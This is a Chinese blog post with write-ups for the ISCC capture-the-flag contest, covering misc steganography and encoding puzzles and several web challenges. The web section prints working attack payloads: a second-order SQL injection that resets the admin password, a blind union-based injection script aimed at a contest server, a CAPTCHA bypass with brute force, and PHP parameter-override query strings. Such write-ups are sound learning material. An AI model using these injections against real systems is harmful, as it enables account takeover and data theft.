Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

ISCC Web MIsc题解

前言

这次打ISCC算是刷下题目,顺便混一个奖吧,写这篇博客把iscc一些题目题解记录一下。

Misc

隐藏的信息

首先8进制转10进制,再转字符,接着base64编码就出了flag,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding=utf-8
import base64
str = "0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113"
str = str.split(" ")
flag = ""
def eight2ten(aaa):
handle = ""
if len(aaa) == 4:
handle = int(aaa[1])*64 + int(aaa[2])*8 + int(aaa[3])
if len(aaa) == 3:
handle = int(aaa[1]) * 8 + int(aaa[2])
return handle
for i in range(len(str)):
str[i] = eight2ten(str[i])
flag = flag + chr(int(str[i]))
print base64.b64decode(flag)

最危险的地方就是最安全的地方

拿到图片,binwalk分离之后,把最后一张图片丢到C32Asm找flag就行了

解密成绩单

拿到zip可以想到是伪加密,找到第二个PK,修改之后的09为00解压可以得到一个exe文件,.NET反编译一下拿到password就能拿到flag了。

Welcome

emmm,先由繁化简,经过观察发现只有两种字符串构成的。分别替换为0和1,再通过二进制转字符得到flag。

倒立屋

这是一道隐写题,搞了一下发现是lsb,丢到stegsolve调一下,flag就出来了。

交的时候还在想和倒立屋有啥关系,结果发现flag得倒着交才行。

无法运行的exe

拖进C32Asm发现是一串base64,解码发现头是png,但是不完整,补全头就能得到一个二维码。扫描之后就是flag了。

High起来

binwalk分离出一个mp3以及两个其他文件,把png丢进C32Asm看一眼发现头部有个PNG,可以想到尝试修复一下图片,之后得到一个二维码,扫描之后发现是当铺加密的一串字符串,解密之后得到一串数字,结合mp3可以想到使用MP3Stego进行解密,在txt文件中得到flag。

他们能在一起吗?

真是悲伤的一道题目,扫描二维码发现了PASS{0K_I_L0V3_Y0u!}
接着通过binwalk分离出了一个zip文件,用这个密码解压出的文件就是flag了。

Keyes’ secret

照着键盘画接着找有关iscc的就行了。最后得出flag如下:

1
FLAG{ISCC KEYBOARD CIPHER}

Aesop’s secret

打开文件发现是gif文件,用stegsolve查看一下该文件内容,发现有一串加密的字符。

base64解密之后发现这是一个AES加密

缺少一个key,怎么找呢?把所有的动图截取之后拼起来,得到如下图片:

尝试把ISCC作为key二次解密之后得到flag。

碎纸机

首先把图片丢到C32Asm里面,看到尾部有readme.txt字样,想到是不是里面整合了几个文件,利用binwalk查看一下发现果然有,使用binwalk分离文件。

得到十张图片以及一个readme.txt文件,不过图片都是一样的。

把十张图丢到C32asm对比发现文件末尾不同,经过尝试之后发现把不同的像素点弄出来做成图拼接就行了。

web

web1

打开界面可以看到

第一个限制可以通过加256来绕过,因为chr是会经过mod256处理的,第二个限制用科学计数法来绕过,结合intval()函数的特性,他会在第一个字符处截断字符串,然后输出,例如输入2e4,第一个intval()会输出2,而第二个则是输出20001。最后payload如下:

1
?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=2e4

web2

点开题目可以看到一个粗略的登入页面

一般这种爆破类型的题目,验证码一定有绕过的方式,测试发现这个验证码根据PHPSESSID生成,我们把PHPSESSID置换为空,验证码就为空了,接着爆破就行了。最后爆出结果如下:

web3

这是sqli-labs/Less24的原题,真是吃了做题少的亏了,这题目最关键的点就是这一句sql语句

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

我们只需要注册admin’ #12313213,就能不需要原密码修改admin的密码了。此时的语句拼接成

1
UPDATE users SET PASSWORD='$pass' where username='admin' #12313213' and password='$curr_pass'

把admin修改一下,然后登入就能拿到flag了。

web4

源码如下:

这题目关键点就是parse_url的变量覆盖。通过覆盖掉$hashed_key就行了。payload如下:

1
?action=auth&key=a&hashed_key=ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb

web5

这题目算是脑洞题了,首先提示我们不是Union.373内部成员。

这里修改头就行了,发包之后可以看到下一个提示。

按照要求传入用户名以及后续的密码,在测试的时候发现提示要我们拿到用户名密码,进行fuzz得知只是一个注入。通过不断fuzz,最终爆破出密码,这是脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding:utf-8
import requests
url = "http://39.100.83.188:8054/"
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Union.373"}
list = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_{}"
flag = ""
for i in range(0,40):
for j in range(0,64):
temp = flag + list[j]
payload = {"username":"union_373_Tom' union select 1,'0','%s' order by 3,'0"%(temp),"password":"1"}
res = requests.post(url, data=payload,headers=header)
if "union_373_Tom" in res.content:
flag = flag + list[j-1]
break
print flag
print flag

web6

这题目也是原题,我也是按照师傅的wp一步一步做的,就不造轮子了。
这是一叶飘零师傅写的wp—–Json Web Token历险记

本站总访问量